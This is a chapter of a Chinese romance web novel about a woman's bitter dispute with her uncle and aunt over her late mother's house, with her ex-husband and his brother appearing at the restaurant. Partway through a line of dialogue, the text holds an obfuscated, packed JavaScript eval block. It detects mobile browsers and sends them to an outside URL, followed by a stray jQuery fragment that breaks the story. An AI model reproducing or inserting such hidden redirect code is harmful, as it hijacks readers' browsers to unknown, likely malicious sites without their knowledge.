钟应扫他一眼,眼神不知在何处落了一下。
末了好像是怕他们还吵,走之前还道:“我就在隔壁。”
邱园举杯喝水,冰凉的水滑过喉咙,抚平紧绷和因为他的出现带来的那么一点惶然心跳。
邱淑又来打苦情牌:“邱园,你这么说二姨,二姨挺伤心的,二姨毕竟也是看着你长大的,小时候你多懂事呀,你妈下岗后搞副业,你一声不吭地帮忙,做得比大人都好,怎么这会儿——”
邱园打断她:“二姨,只有大人做的不好的时候,小孩子才要懂事。”
“舅舅在我妈的房子里住了这么些年,我妈心软不忍心要太多租金,舅舅却反咬我妈一口。二姨,你要是真伤心,就别替舅舅说话了,先把欠这么多年的租金还了,再把我们家的房子还回来。”
“你看你这话说的,那个时候谁家里都困难,不是不帮...”
“我妈怎么没因为家里困难就不帮你?要不是我妈接济,二姨你在未市能有落脚的地方?”
“那是...”
“二姨坐月子家里没人照顾,你女儿上学没人照顾,怎么就又想到我妈了呢?”
“没指望你们帮我妈,你们别跟吸血鬼和强盗一样,抢我妈本来的东西就够了。”
邱石火了:“你怎么说话呢!什么叫跟强盗一样?你妈才是强盗,你妈就看在我文化水平不高这一点上,让我签协议时骗我,当初明明说好是买卖协议的!”
邱园气得一阵战栗,但仍然压着气,平复了半天:“舅舅,有理不在声高,协议上明明白白写着“租赁”两个字,就连装修的都是我妈出的钱。”
“你还有理了?你姥姥是谁养的?还不是我?我辛辛苦苦养老人,你妈出点钱帮我修房子怎么了?”
邱园嗤笑:“你养姥姥?要不舅舅把姥姥的坟掘开吧,看这么吼能不能把姥姥吼活了,吼活了咱们当面问问姥姥。”
视线中一道耳光将要落下来,邱园眼疾手快躲开,将身后椅子撞得翻倒在地。
“老邱你冷静些!”舅妈赶紧劝道。
邱园神色都不变:“你再气也没用。”
视线里一直沉默的邱淑此时站起来,厉色看着她:“邱园,你为什么好端端的阔太太不做,要跟你可怜舅舅争那点油水?你掉钱眼里了?”
邱园冷目瞧着她,准备收拾东西了,她也不知道她今天来干嘛,居然妄想跟这样的两个人谈拢:“那你告我吧。”
邱淑一时愣住,忽然,好像气得喘不过气,舅妈忙去拍她的背顺她的气,邱淑居然哽咽着起来,手指颤颤巍巍地指着她:“你为了争这点家产,不仅害死了你妈,还要害死你舅舅,害死你表弟!”
邱园将手里的包丢开,神色冷了:“你说什么呢?”
邱淑一副气得心口痛的样子:“我大姐多纯良的一个人!知道弟弟过得辛苦,根本就不想跟弟弟争那点家产,要不是你挑唆你妈,你妈能争着回老家,被车撞死在路上?”
“你妈一辈子没享过福,就那么稀里糊涂死了,要不是你——”
“啪”地一声,邱园将茶杯直直甩到邱淑脚下,玻璃碎成一地,差点扎到邱淑的脚,吓得邱淑一缩:“你...你...”
邱园摔门而去。
胃里一阵翻江倒海,车祸时画面被撞得扭曲的记忆争先恐后地挤进她的视野,粘稠的血,断了的手臂,残破挂血的挡风玻璃,还有她妈那张已经说不出话的脸。
那张嘴唇翕动,到底要说什么?到底是要责怪她心急,还是要支持她......
对着洗手间的镜子反复洗脸,才能激得眼窝没那么酸,视线里自己的脸被搓得一片红,可还是冷静不了,邱园捂住脸,还是气得哭了。
舅妈指使小潘去看一眼邱园,小潘守在洗手间外面,不太敢打扰,抬手要敲门询问情况,身后忽然拢过来一片阴影。
是隔壁02包间,刚刚过来投诉说吵的先生,他看一眼她,说了句“给03的人换个包间”。
小潘如蒙大赦,走了,余光里瞥见那位先生拉开洗手间门进去。
“邱园。”
“哭了?”
洗手间的灯光为了把人拍得好看,暖黄色的光很亮,邱园眼底还湿润一片。
隔着距离停在她面前:“别哭了。”
邱园埋下头,原本不想哭了,出去之后不好收场,但是还是忍不住。
她低着头,感受着他注视着自己,静静的。
“可以坚持吗?”
邱园坚定地点头。
“我,”他想了一下,还是换了个说法,“我一直就在隔壁。”
她又点头,不说话,深吸了一口气,抬脸看他。
“多谢。”
他“嗯”了一声,退后一步。
邱园先一步出门,手扶上把手,又听见他在身后补充:
“我一直都在。”
03包房兀地被推开,邱石虽然郁闷,但和儿子还是一筷子一筷子地夹菜吃,舅妈陪着邱淑,不知道大姑姐的苦情牌明明都打出去了,怎么还一脸不高兴。
邱园一进去,里面各怀心思的人都抬起头,齐刷刷望着她。
她重新补了妆,半分看不出哭过的痕迹。
邱淑先开口:“过几天,动迁小组的人会和你联系,我和你舅舅还是不松口的。”
“动迁小组来了也没有,你们起诉吧。”
邱石筷子重重一搁:“你没皮没脸,我们还嫌丢人呢!
舅妈忍不住了:“小邱,你不是离了吗,手头应该也不宽裕,何苦花这钱呢..”
“这个不劳您操心。”
邱石愈来愈狂躁:“跟你讲不通!叫你男人来,叫你男人来跟我讲!”
邱园感觉自己的手都气得发抖,她拿起包:“你这么说,我这婚更是离对了。”
邱石听不进去:“你把你男人电话给我,我跟他讲!”
门忽然打开,众人的目光齐刷刷抬起来。
林盛鸣站在门口,目视邱石。
“我是她男人。”
他走向邱园,目光却看着邱石,气场威压,“你要找我?”
邱园条件反射般站起来:“你来干什么?”
林盛鸣直接握住她的手腕,将她拉到身后,挡在邱石前,他摸了摸她的头,按她坐下,又给她倒热水,送到嘴边。
邱园不喝,他也不难为情。
邱淑跟弟弟相视一眼。
邱石心气一下就弱了:“哎呦小林,您家大业大,抬抬手指,就当是做慈善,放你舅舅一把,好不好,你表弟现在还在家待着,老婆也娶不到...”
林盛鸣看邱园喝完水,一只胳膊搭在邱园的椅背上,环着她,然后才看向邱石,半晌,才道:“你想要什么。”
邱园完全不想他参与进来,推他:“你先出去,我们待会儿谈。”
邱淑却拦住他不让走:“林总,您看,是这样的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427447|184847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
邱园觉得我们当初对她妈妈不好,心里有怨气,这个我们理解,我们是有不对,我们道歉...”
“嘴上道歉就完了?”
“是是,事后我们也不能叫小辈空着手回去...”
林盛鸣打断邱石:“给几个钱打发?具体给多少,说来我听听。”
“你..”
“林盛鸣,你闭嘴。”邱园看向邱淑:“你要动迁组来,行,我等着,你要告我,我也等着,你想说服我,不可能。”
邱淑眼睛在邱园身上瞅瞅,又在林盛鸣身上瞅瞅,林盛鸣已经不看他们,问邱园:”吃饱了吗,饿不饿?”
人家两口子你侬我侬,这事今天是说不下去了。邱淑一硬气:“邱石,她好话听不进去,咱们也算是仁至义尽,走。”
人走后,菜还在陆陆续续地上,邱园怕浪费了可惜,拆了双筷子又开始吃菜,但菜是什么味道,却好像全然尝不到。
“太辣了,少吃些。“林盛鸣想握她的手,被邱园条件反射般地弹开。
他一愣,低头,气息和她的混在一起:“奶奶很想你。”
邱园不说话,她实在是太累了,累到她没有心防再去辨别林盛鸣话里的威逼利诱之意,长久以来,她都是用最激烈的语言回击回去,好像把所有刺都露出来,才足以保持她的主体性,才不会使她陷入情感的漩涡之中。
“你走。”
林盛鸣强迫她五指分开,倾身过来,好像要仔细看她,邱园偏头躲了一下,他忽然压低,去寻她的嘴唇。
“你干什么!”邱园一把推开他,她真的已经很累很累了。
与此同时,目光中多了个人。
钟应叫林盛鸣:“盛鸣。”
林盛鸣放开死死抓着她的手,尽力压下躁郁之意,朝门口的人道:“哥。”
钟应目光从林盛鸣脸上扫过,落到邱园上。
邱园别过脸,心力交瘁。
钟应问:“你们今天也在这里吃饭?”
林盛鸣没解释:“对,这么巧,哥也在。”
“客户是四川人。”
林盛鸣点了点头,在此情况下兄弟的相逢,忽然让一切都变得不尴不尬起来。
钟应问,看的是邱园:“现在要回去了?”
邱园避开他的视线,点了点头,抓起包就走。
林盛鸣这回没拉。
反正很快就到奶奶生日了,她迟早会回来。
邱园走的时候,还跟小潘打了个招呼,跟她说给她添麻烦了。
小潘摇摇头说哪里的事,有点好奇地朝03房看了一眼,邱园走了,里面两个男人还在。
她想起那个隔壁房的钟先生,03房的邱小姐进来的时候,他明明已经准备结账走了,最后又留下来。
小潘在走廊里来来往往忙碌时,就能看到02房门敞着,一个身影陷在矮沙发上,修长的手捏着一个纸盒子,在手里翻来翻去,白衬衣袖口折上去,露出精瘦的小臂。
他一直留意着03房。
但她有点纳闷他为什么不直接进去,直到邱小姐找她借化妆品遮掩红痕,然后又满血踏入03时,她看着邱小姐的背影,忽然想起一句话,有些路,注定是要单枪匹马地走的。
不过小潘听见03房里有人一遍遍问你男人在哪时,这位先生会照例冲出去,给03房解围。
结果又出现了一位先生。
小潘在心里默默念叨,站错队了,好险好险。